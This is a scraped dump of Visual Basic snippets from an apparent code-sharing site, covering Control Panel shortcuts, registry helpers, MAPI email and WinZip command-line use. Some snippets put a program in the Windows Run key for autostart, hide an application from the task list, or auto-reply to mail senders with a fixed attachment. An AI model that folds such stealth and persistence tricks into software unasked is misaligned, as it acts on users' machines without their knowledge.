Sub"},{"WorldId":1,"id":4377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4352,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5187,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5684,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4372,"LineNumber":1,"line":"You can download this code in Windows Write Format. Its easier to read !\nContact me with any questions. Marc 3dtech@thelakes.net\n<Begin Instructions>\n\nCreate an ActiveX DLL File\nFollow these steps.\n1. Open VB and select to create an AxtiveX DLL project\n (an empty Class Module will appear)\n2. Click on the \"Project\" menu. Select \"Project1 Properties\".\n3. In the Properties Window set the project name to : CntrlPnl\n4. Close the window and rename the Class Module to : ControlPanel\n5. Now lets enter some code into the Class Module. Enter the following...\n\tOption Explicit\n\tPublic Sub HardWare()\n\tDim B As Long\n\tB = Shell(\"rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1\")\n\tEnd Sub\nThe above code will create a function to access the Control Panels \n\"Add Hardware\" dialog.\nOk... Now its time to save amd compile your DLL file.\n6. From the \"File\" menu select to \"Save Project As\".\n Save the project and class module etc.\n7. From the \"File\" menu select \"Make CntrlPnl.DLL\"\n8. Set the destination for the output DLL file. Also set any options at this time.\n For now the default options will be ok.\n\nUsing Your New DLL File\nOk, now lets put this DLL to use !\n1. Click \"File\" menu and select \"New Project\". Save any changes to your DLL \n project if prompted to.\n2. Select \"Standard EXE\" project. VB Now create a new blank project and loads\n one default form named \"Form1\".\n3. From the \"Project\" menu select \"References\". A new window will open and\n display all available object libraries.\n4. Click the \"Browse Button\" and navigate to the location where you compiled\n your DLL file.\n5. Click the file and click \"Open\".\n6. Your DLL will now be added to the list of \"References\". It should also be checked.\n7. Close the \"References\" window.\n8. Draw a Command Button on the form.\n9. Double click the form to access the \"Code View\".\n10. Click the ComboBox on the left and from it, select (General)\n11. Your cursor should now appear above the \"Form Load\" event.\n12. Declare your DLL file with this code: Private CP As New ControlPanel\n\nIt should look like this...\n\tPrivate CP As New ControlPanel\n\t___________________________\n\tPrivate Sub Form_Load()\n\tEnd Sub\n\nSo lets review. You added a Reference to the DLL file and declared it in your project.\nNotice in the line \"Private CP As New ControlPanel\" that ControlPanel is the name of\nyour Class Module. You want to call the Class Module name and NOT the project name.\n\nUsing the Function of the DLL file\nNow lets use the function from the DLL\n1. Double click on the Command button to open the code view.\n2. Now enter the following code : CP.HardWare\n\nThe code should appear like this...\n\tPrivate Sub Command1_Click()\n\tCP.HardWare\n\tEnd Sub\n\nNotice \"CP\". You used it in the General Declarations.\n\nHere is the complete code for the form :\n\n\tPrivate CP As New ControlPanel\n\t___________________________\n\tPrivate Sub Command1_Click()\n\tP.HardWare\n\tEnd Sub\n\nAdvanced Use:\nHere is the complete code for the Class module.\n' Begin Module ---\nOption Explicit\nPublic Sub Access()\nDim A As Long\nA = Shell(\"rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5\")\nEnd Sub\nPublic Sub HardWare()\nDim B As Long\nB = Shell(\"rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1\")\nEnd Sub\nPublic Sub AddPrinter()\nDim C As Long\nC = Shell(\"rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter\")\nEnd Sub\nPublic Sub Uninstall()\nDim D As Long\nD = Shell(\"rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1\")\nEnd Sub\nPublic Sub WindowsSetUp()\nDim E As Long\nE = Shell(\"rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2\")\nEnd Sub\nPublic Sub ShortCut()\nDim F As Long\nF = Shell(\"rundll32.exe apwiz.cpl,NewLinkHere %1\")\nEnd Sub\nPublic Sub DateTime()\nDim G As Long\nG = Shell(\"rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0\")\nEnd Sub\nPublic Sub DUN()\nDim H As Long\nH = Shell(\"rundll32.exe rnaui.dll,RnaWizard\")\nEnd Sub\nPublic Sub Display()\nDim I As Long\nI = Shell(\"rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0\")\nEnd Sub\nPublic Sub Font()\nDim J As Long\nJ = Shell(\"rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL FontsFolder \")\nEnd Sub\nPublic Sub FormatFloppy()\nDim K As Long\nK = Shell(\"rundll32.exe shell32.dll,SHFormatDrive\")\nEnd Sub\nPublic Sub Modem()\nDim L As Long\nL = Shell(\"rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add\")\nEnd Sub\nPublic Sub Sound()\nDim M As Long\nM = Shell(\"rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0\")\nEnd Sub\nPublic Sub NetWork()\nDim N As Long\nN = Shell(\"rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl\")\nEnd Sub\nPublic Sub System()\nDim O As Long\nO = Shell(\"rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0\")\nEnd Sub\nPublic Sub Restart()\nDim P As Long\nP = Shell(\"rundll32.exe user.exe,restartwindows\")\nEnd Sub\nPublic Sub ShutDown()\nDim Q As Long\nQ = Shell(\"rundll32.exe user.exe,exitwindows\")\nEnd Sub\nPublic Sub Control()\nDim rc As Long\nrc = Shell(\"Control.exe\", vbNormalFocus)\nEnd Sub\n' End Module ---\n\nMake the same calls as above in the example\nCP.Access\n- or -\nCP.HardWare\n- or -\nCP.AddPrinter\n- or -\nEtc... Etc...\nMarc F.\n3dtech@thelakes.net"},{"WorldId":1,"id":4395,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4875,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6869,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6818,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4405,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4413,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6837,"LineNumber":1,"line":"'///////start of form////////////\n'you need three command buttons and a text1.text\n'the module is not my code, it's really the easiest\n'code for registery thanx Kevin.\nDim path As String\nPrivate Sub Command1_Click()\n'save path to your program in RUN\npath = App.path & \"\\yourprogram.exe\"\nCall savestring(HKEY_LOCAL_MACHINE, \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\", \"String\", path)\nEnd Sub\nPrivate Sub Command2_Click()\n'delete if user uninstals your app\nCall DeleteValue(HKEY_LOCAL_MACHINE, \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\", \"string\")\nEnd Sub\nPrivate Sub Command3_Click()\n'check value\nText1.Text = getstring(HKEY_LOCAL_MACHINE, \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\", \"String\")\nEnd Sub\n'///////////////end of form////\n\n'\n'\n'PUT THIS IN A .BAS!!!\n'\n'PUT THIS IN A .BAS!!!\n'\n' Easiest Read/Write to Registry\n' Kevin Mackey\n' LimpiBizkit@aol.com\n'\nPublic Const HKEY_CLASSES_ROOT = &H80000000\nPublic Const HKEY_CURRENT_USER = &H80000001\nPublic Const HKEY_LOCAL_MACHINE = &H80000002\nPublic Const HKEY_USERS = &H80000003\nPublic Const HKEY_PERFORMANCE_DATA = &H80000004\nPublic Const ERROR_SUCCESS = 0&\n\nDeclare Function RegCloseKey Lib \"advapi32.dll\" (ByVal Hkey As Long) As Long\n\nDeclare Function RegCreateKey Lib \"advapi32.dll\" Alias \"RegCreateKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\n\nDeclare Function RegDeleteKey Lib \"advapi32.dll\" Alias \"RegDeleteKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long\n\nDeclare Function RegDeleteValue Lib \"advapi32.dll\" Alias \"RegDeleteValueA\" (ByVal Hkey As Long, ByVal lpValueName As String) As Long\n\nDeclare Function RegOpenKey Lib \"advapi32.dll\" Alias \"RegOpenKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\n\nDeclare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long\n\nDeclare Function RegSetValueEx Lib \"advapi32.dll\" Alias \"RegSetValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long\n Public Const REG_SZ = 1 ' Unicode nul terminated String\n Public Const REG_DWORD = 4 ' 32-bit number\n\nPublic Sub savekey(Hkey As Long, strPath As String)\n Dim keyhand&\n r = RegCreateKey(Hkey, strPath, keyhand&)\n r = RegCloseKey(keyhand&)\nEnd Sub\n\nPublic Function getstring(Hkey As Long, strPath As String, strValue As String)\n 'EXAMPLE:\n '\n 'text1.text = getstring(HKEY_CURRENT_USE\n ' R, \"Software\\VBW\\Registry\", \"String\")\n '\n Dim keyhand As Long\n Dim datatype As Long\n Dim lResult As Long\n Dim strBuf As String\n Dim lDataBufSize As Long\n Dim intZeroPos As Integer\n r = RegOpenKey(Hkey, strPath, keyhand)\n lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)\n\n If lValueType = REG_SZ Then\n strBuf = String(lDataBufSize, \" \")\n lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)\n\n If lResult = ERROR_SUCCESS Then\n intZeroPos = InStr(strBuf, Chr$(0))\n\n If intZeroPos > 0 Then\n getstring = Left$(strBuf, intZeroPos - 1)\n Else\n getstring = strBuf\n End If\n End If\n End If\nEnd Function\n\nPublic Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)\n 'EXAMPLE:\n '\n 'Call savestring(HKEY_CURRENT_USER, \"Sof\n ' tware\\VBW\\Registry\", \"String\", text1.tex\n ' t)\n '\n Dim keyhand As Long\n Dim r As Long\n r = RegCreateKey(Hkey, strPath, keyhand)\n r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))\n r = RegCloseKey(keyhand)\nEnd Sub\n\nFunction getdword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String) As Long\n 'EXAMPLE:\n '\n 'text1.text = getdword(HKEY_CURRENT_USER\n ' , \"Software\\VBW\\Registry\", \"Dword\")\n '\n Dim lResult As Long\n Dim lValueType As Long\n Dim lBuf As Long\n Dim lDataBufSize As Long\n Dim r As Long\n Dim keyhand As Long\n r = RegOpenKey(Hkey, strPath, keyhand)\n ' Get length/data type\n lDataBufSize = 4\n lResult = RegQueryValueEx(keyhand, strValueName, 0&, lValueType, lBuf, lDataBufSize)\n\n If lResult = ERROR_SUCCESS Then\n\n If lValueType = REG_DWORD Then\n getdword = lBuf\n End If\n 'Else\n 'Call errlog(\"GetDWORD-\" & strPath, Fals\n ' e)\n End If\n r = RegCloseKey(keyhand)\nEnd Function\n\nFunction SaveDword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long)\n 'EXAMPLE\"\n '\n 'Call SaveDword(HKEY_CURRENT_USER, \"Soft\n ' ware\\VBW\\Registry\", \"Dword\", text1.text)\n '\n '\n Dim lResult As Long\n Dim keyhand As Long\n Dim r As Long\n r = RegCreateKey(Hkey, strPath, keyhand)\n lResult = RegSetValueEx(keyhand, strValueName, 0&, REG_DWORD, lData, 4)\n 'If lResult <> error_success Then\n ' Call errlog(\"SetDWORD\", False)\n r = RegCloseKey(keyhand)\nEnd Function\n\nPublic Function DeleteKey(ByVal Hkey As Long, ByVal strKey As String)\n 'EXAMPLE:\n '\n 'Call DeleteKey(HKEY_CURRENT_USER, \"Soft\n ' ware\\VBW\")\n '\n Dim r As Long\n r = RegDeleteKey(Hkey, strKey)\nEnd Function\n\nPublic Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)\n 'EXAMPLE:\n '\n 'Call DeleteValue(HKEY_CURRENT_USER, \"So\n ' ftware\\VBW\\Registry\", \"Dword\")\n '\n Dim keyhand As Long\n r = RegOpenKey(Hkey, strPath, keyhand)\n r = RegDeleteValue(keyhand, strValue)\n r = RegCloseKey(keyhand)\nEnd Function\n\n"},{"WorldId":1,"id":4785,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4421,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4423,"LineNumber":1,"line":"Private Type zRGB\nR As Long\nG As Long\nB As Long\nEnd Type\nPrivate Sub Form_Load()\n'this is just an example\n'if you don't tweak the code, you will have to\n'dim a variable as \"zRGB\" that stores the returns\nDim cRGB As zRGB\ncRGB = LongToRGB(RGB(255, 250, 255))\nMsgBox cRGB.R & \", \" & cRGB.G & \", \" & cRGB.B\nEnd\nEnd Sub\nPrivate Function LongToRGB(ColorValue As Long) As zRGB\nDim rCol As Long, gCol As Long, bCol As Long\nrCol = ColorValue And &H10000FF 'this uses binary comparason\ngCol = (ColorValue And &H100FF00) / (2 ^ 8)\nbCol = (ColorValue And &H1FF0000) / (2 ^ 16)\nLongToRGB.R = rCol\nLongToRGB.G = gCol\nLongToRGB.B = bCol\nEnd Function"},{"WorldId":1,"id":4498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4432,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4481,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5547,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8211,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8272,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8298,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8684,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5983,"LineNumber":1,"line":"Sub Form_Load()\n ' Command1.Style = 1 ' Graphical\n SendMessage Command1.hWnd, &HF4&, &H0&, 0&\nEnd Sub"},{"WorldId":1,"id":5354,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4445,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4453,"LineNumber":1,"line":"Option Explicit\nPublic Function LoadImage(FilePath$, picTemp As PictureBox, picMain As PictureBox, imgMain As Image) As Integer\n Dim X As Long\n Dim xo As Long\n Dim Y As Long\n Dim yo As Long\n \n'vars to save the user initial picture boxes and images settings\n Dim pMainSM As Integer\n Dim pTempSM As Integer\n Dim pMainAS As Boolean\n Dim pTempAS As Boolean\n Dim iMainST As Boolean\n \n'saves the initial conditions of picture boxes and images, for future reposition\n pMainSM = picMain.ScaleMode\n pMainAS = picMain.AutoSize\n pTempSM = picTemp.ScaleMode\n pTempAS = picTemp.AutoSize\n iMainST = imgMain.Stretch\n'set the necessary conditions to picture boxes and image\n picMain.ScaleMode = vbTwips\n picMain.AutoSize = False\n \n picTemp.ScaleMode = vbTwips\n picTemp.AutoSize = True\n \n imgMain.Stretch = True\n \n 'while sizing, make destination image invisible\n imgMain.Visible = False\n \n On Error Resume Next\n picTemp.Picture = LoadPicture(FilePath)\n If Err Then 'the image was not loaded, so set the image to blank and exit sub\n imgMain.Picture = LoadPicture()\n LoadImage = Err 'return the error code\n Exit Function\n End If\n \n 'obtain the loaded image size\n xo = picTemp.Width\n yo = picTemp.Height\n \n ' First shrink the image so the sides fit\n If xo > picMain.Width Then\n X = picMain.Width\n Y = yo - (xo - X)\n End If\n ' if the image is still too tall, shrink it some more\n yo = Y\n If Y > picMain.Height Then\n Y = picMain.Height\n X = X - (yo - Y)\n End If\n \n 'Now we have the X and Y that have the best fit, so set the destination to that size\n imgMain.Width = X\n imgMain.Height = Y\n ' Center the image(imgmain) in the main picture box(picmain)\n imgMain.Top = (picMain.Height \\ 2) - (imgMain.Height \\ 2)\n imgMain.Left = (picMain.Width \\ 2) - (imgMain.Width \\ 2)\n ' Now copy the image from the start picbox(picstart) into the\n ' display image field (imgmain)\n imgMain.Picture = picTemp.Picture\n \n picTemp.Picture = LoadPicture() 'clar the temp picture, because it's not necessary\n \n imgMain.Visible = True 'make the destination visible\n'restore the initial user settings\n picMain.ScaleMode = pMainSM\n picMain.AutoSize = pMainAS\n picTemp.ScaleMode = pTempSM\n picTemp.AutoSize = pTempAS\n imgMain.Stretch = iMainST\n \n LoadImage = 0 'and returns 0, the image was sucessfuly loaded\nEnd Function\n"},{"WorldId":1,"id":5505,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8380,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8459,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim x As String\nx = InputBox(\"enter a number u would like To count down from\")\nDo While x > 0\nx = x - 1\nIf x = 0 Then\nMsgBox \"Thats all\"\nElse\nMsgBox x\nEnd If\nLoop\nEnd Sub"},{"WorldId":1,"id":4817,"LineNumber":1,"line":"Public Sub SendEmail(sEmailAddress As String,sSubject as string, sMessageText as string)\n Dim sEmailExtracted As String\n Dim sEmailLeft As String\n Dim iRecipCount As Integer\n \n If Trim(sEmailAddress) = \"\" Then\n Goto SendMail_End\n End If\n \n sEmailLeft = Trim(sEmailAddress)\n \n ' set the mouse pointer to indicate the app is busy\n Screen.MousePointer = vbHourglass\n \n MAPIlogon.SignOn\n \n Do While MAPIlogon.SessionID = 0\n \n \n DoEvents ' need to wait until the new session is created\n \n Loop\n \n With MAPIMessages1\n .MsgIndex = -1\n .SessionID = MAPIlogon.SessionID\n \n While sEmailLeft <> \"\"\n \n If InStr(1, sEmailLeft, \";\") = 0 Then\n sEmailExtracted = sEmailLeft\n sEmailLeft = \"\"\n Else\n sEmailExtracted = Left(sEmailLeft, InStr(1, sEmailLeft, \";\") - 1)\n sEmailLeft = Right(sEmailLeft, Len(sEmailLeft) - InStr(1, sEmailLeft, \";\"))\n End If\n \n .RecipIndex = iRecipCount\n If iRecipCount = 0 Then\n .RecipType = mapToList\n Else\n .RecipType = mapCcList\n End If\n \n .RecipAddress = sEmailExtracted\n \n .ResolveName\n \n iRecipCount = iRecipCount + 1\n \n Wend\n \n If iRecipCount = 0 Then GoTo SendMail_End\n \n .MsgSubject = sSubject\n .MsgNoteText = sMessageText \n .Send\n End With\n \n MAPIlogon.SignOff\nSendMail_End: \n Screen.MousePointer = vbNormal\n Exit Sub\nEnd Sub\n"},{"WorldId":1,"id":4568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4501,"LineNumber":1,"line":"#"},{"WorldId":1,"id":7309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4545,"LineNumber":1,"line":"Private Sub Command1_Click()\n MAPISession1.DownLoadMail = False\n MAPISession1.SignOn\n MAPIMessages1.SessionID = MAPISession1.SessionID\n MAPIMessages1.MsgIndex = -1\n \n MAPIMessages1.Compose\n MAPIMessages1.Send True\n \n MAPISession1.SignOff\nEnd Sub\nPrivate Sub Command2_Click()\n MAPISession1.NewSession = True\n MAPISession1.Action = 1 'session_signon\n MAPIMessages1.SessionID = MAPISession1.SessionID\n MAPIMessages1.FetchUnreadOnly = True\n MAPIMessages1.Action = 1 'message_fetch\n Dim i As Integer\n Text1.Text = MAPIMessages1.MsgNoteText\n For i = 0 To MAPIMessages1.AttachmentCount - 1\n MAPIMessages1.AttachmentIndex = i\n Dim intLenFileName As Integer\n Dim intStrPos As Integer\n intLenFileName = Len(MAPIMessages1.AttachmentPathName)\n For intStrPos = intLenFileName To 1 Step -1\n If InStr(1, _\n Right$(MAPIMessages1.AttachmentPathName, _\n intLenFileName - (intStrPos - 1)), _\n \"\\\", 1) Then\n strNewFileName = _\n Right$(MAPIMessages1.AttachmentPathName, _\n intLenFileName - intStrPos)\n Exit For\n End If\n Next\n FileCopy MAPIMessages1.AttachmentPathName, _\n \"c:\\\" & strNewFileName\n Next\n \n Mail\n MAPIMessages1.Delete\n MAPISession1.SignOff\nEnd Sub\nPrivate Function Mail()\n Dim o As New Outlook.Application\n Dim m As Object\n Set m = o.CreateItem(olMailItem)\n m.To = MAPIMessages1.MsgOrigAddress\n m.Subject = \"Fantastic!!!\"\n m.Attachments.Add \"C:\\Fantastic.txt\"\n m.Show ' this can be taken out if you want an automated program\n m.Send\nEnd Function"},{"WorldId":1,"id":4504,"LineNumber":1,"line":"Private Sub Command1_Click()\n MAPISession1.DownLoadMail = False\n MAPISession1.SignOn\n MAPIMessages1.SessionID = MAPISession1.SessionID\n MAPIMessages1.MsgIndex = -1\n \n MAPIMessages1.Compose\n MAPIMessages1.Send True\n \n MAPISession1.SignOff\nEnd Sub\nPrivate Sub Command2_Click()\n MAPISession1.DownLoadMail = True\n MAPISession1.SignOn\n MAPIMessages1.FetchUnreadOnly = True\n MAPIMessages1.SessionID = MAPISession1.SessionID\n MAPIMessages1.Fetch\n On Error Resume Next\n MAPIMessages1.AttachmentPathName = MAPIMessages1.AttachmentPathName '\"c:\\2000\\\" & MAPIMessages1.AttachmentName & \"\" 'vartype8 '& MAPIMessages1.AttachmentName & \" '\"\n Text1.Text = MAPIMessages1.MsgNoteText\n FileCopy MAPIMessages1.AttachmentPathName, (\"c:\\2000\\\" & MAPIMessages1.AttachmentName & \"\")\n MsgBox \"File \" & MAPIMessages1.AttachmentName & \" sucessfully downloaded to C:\\2000\"\n \n MAPISession1.SignOff\nEnd Sub\n"},{"WorldId":1,"id":4512,"LineNumber":1,"line":"'\n'\n'\n' mapSess = MAPISession Control\n' mapMess = MAPIMessages Control\n'\n'\nprivate sub TestEmailWithManyManyAttachments()\ndim Attachments() as string\ndim TotAttachments as long\ndim i as long\ndim attPos as integer\n TotAttachments=2 ' or more\n Redim Attachments(TotAttachments)\n Attachments(1)=\"c:\\config.sys\"\n Attachments(2)=\"c:\\autoexec.bat\"\n mapSess.LogonUI = True\n mapSess.SignOn\n mapMess.SessionID = mapSess.SessionID\n mapMess.Compose\n mapMess.MsgSubject = \"Some Subject\"\n mapMess.MsgNoteText = \" bla bla bla bla bla\"\n\n attPos = 1 \n \n For i = 1 To TotAttachments\n\t\n If Dir( Attachments(i) ) <> \"\" Then ' Chek that file exists\n \n mapMess.AttachmentIndex = i - 1\n mapMess.AttachmentPosition = attPos\n mapMess.AttachmentPathName = Attachments(i) \n \n attPos = attPos + 1\n End If\n Next i\n DoEvents\n \n mapMess.Send True\n\n DoEvents\n mapSess.SignOff\nend sub\n"},{"WorldId":1,"id":5508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4783,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4594,"LineNumber":1,"line":"app.TaskVisible = false\n// that all for now\n// bye\n"},{"WorldId":1,"id":6203,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4567,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7349,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4572,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4578,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4586,"LineNumber":1,"line":"Option Explicit\nPrivate TheX as Long\nPrivate TheY as Long\n\n' I have included commented lines to scroll in any of the four main directions.\n' You can uncomment the appropriate lines for your needs.\n' If you uncomment both the left to right and bottom to top, for example,\n' you get diagonal scrolling.\n' I found that a timer interval of 50 milliseconds works well in most cases.\n' Windows 95/98 machines don't get any faster from that point but NT machines do.\n' Playing with the Timer's interval property as well as adjusting the number of\n' pixels to step by will eventually satisfy your needs.\n\nPrivate Sub Form_Load()\n lblText.Caption = \"Insert your credits here...\" ' Set the text to be shown\n \n ' Use this line of code if you want to scroll right to left\n TheX = pbScrollBox.ScaleWidth ' Set the starting point (off the right edge)\n ' Use this line of code if you want to scroll left to right\n' TheX = 0 - lblText.Width ' Set the starting point (off the left edge)\n ' Use this line of code if you want to scroll bottom to top\n' TheY = pbScrollBox.ScaleHeight ' Set the starting point (off the bottom edge)\n ' Use this line of code if you want to scroll top to bottom\n' TheY = 0 - lblText.Height ' Set the starting point (off the top edge)\nEnd Sub\n\nPrivate Sub tmrScroll_Timer()\n \n pbScrollBox.Cls ' so we don't get text trails\n \n ' Scroll from right to left\n If TheX <= 0 - lblText.Width Then\n TheX = pbScrollBox.ScaleWidth\n Else\n TheX = TheX - 1 ' larger number means faster scrolling\n End If\n ' uncomment the following lines to scroll from left to right\n' If TheX >= pbScrollBox.ScaleWidth Then\n' TheX = 0 - lblText.Width\n' Else\n' TheX = TheX + 1\n' End If\n ' uncomment the following lines to scroll from bottom to top\n' If TheY <= 0 - lblText.Height Then\n' TheY = pbScrollBox.ScaleHeight\n' Else\n' TheY = TheY - 1\n' End If\n ' uncomment the following lines to scroll from top to bottom\n' If TheY >= pbScrollBox.ScaleHeight Then\n' TheY = 0 - lblText.Height\n' Else\n' TheY = TheY + 1\n' End If\n ' set the text position and print the text\n pbScrollBox.CurrentX = TheX\n pbScrollBox.CurrentY = TheY\n pbScrollBox.Print lblText.Caption\n \nEnd Sub"},{"WorldId":1,"id":7391,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7405,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7424,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4605,"LineNumber":1,"line":"Option Explicit\n \nPrivate Sub Form_Paint()\n Dim lngY As Long\n Dim lngScaleHeight As Long\n Dim lngScaleWidth As Long\n Dim WhatColor As String\n \n ScaleMode = vbPixels\n lngScaleHeight = ScaleHeight\n lngScaleWidth = ScaleWidth\n DrawStyle = vbInvisible\n FillStyle = vbFSSolid\n For lngY = 0 To lngScaleHeight\n FillColor = RGB(0, 0, 255 - (lngY * 255) \\ lngScaleHeight)\n Line (-1, lngY - 1)-(lngScaleWidth, lngY + 1), , B\n Next lngY\nEnd Sub"},{"WorldId":1,"id":4606,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4613,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4634,"LineNumber":1,"line":"'' if using record selection for report on siingle record\n' set v_choice as public string\n' store your record selction field choice to v_choice\n'*******************************************\n'Add the crystal ocx object to form (will be named CrystalReport1)\n' you can pass record selection\n''NOTE\n''Create the report in Crystal first and place the report in the same directory as your database.\n'' Set the report location to same as database in Crystal\n''This part is run from menu or command button\nCrystalReport1.ReportSource = crptReport\nCrystalReport1.ReportFileName = reportpath & \"\\YOUR_REPORT_NAME.rpt\"\n'***This line only is using single record selection\nCrystalReport1.ReplaceSelectionFormula (\"{TABLENAME.FIELDNAME} =\" & \"'\" & v_choice & \"'\")\n'*********\nCrystalReport1.WindowState = crptMaximized\nCrystalReport1.PrintReport\nCrystalReport1.PageZoom (50)\n"},{"WorldId":1,"id":5099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5258,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5721,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6116,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4681,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4749,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4678,"LineNumber":1,"line":"Dim retval As Double\nretval = Shell(\"C:\\program files\\winzip\\WINzip32 -a c:\\TargetFolder\\AssignedNameFile.zip c:\\SourceFolder\\SourceFile(s)\", 6)\nnote: i used shell function here.. if anyone has a better idea than of this, pls tell me.."},{"WorldId":1,"id":4696,"LineNumber":1,"line":"Adding files:\nThe command format is:\nwinzip[32].exe [-min] action [options] filename[.zip] files\nwhere:\n-min specifies that WinZip should run minimized. If -min is specified,\nit must be the first command line parameter.\n\naction\n-a for add, -f for freshen, -u for update, and -m for move. These\nactions correspond to the actions described in the section titled\n\"Adding files to an Archive\" in the online manual.\n\noptions\n-r and -p correspond to the \"Recurse Directories\" and \"Save Extra\nDirectory Info\" checkboxes in the Add and Drop dialog boxes. -ex, -en,\n-ef, -es, and -e0 options determine the compression method: eXtra,\nNormal, Fast, Super fast, and no compression. The default is \"Normal\".\n-s allows specification of a password. The password can be enclosed\nin quotes, for example, -s\"Secret Password\". Note that passwords are\ncase-sensitive.\n-hs option allows hidden and system files to be 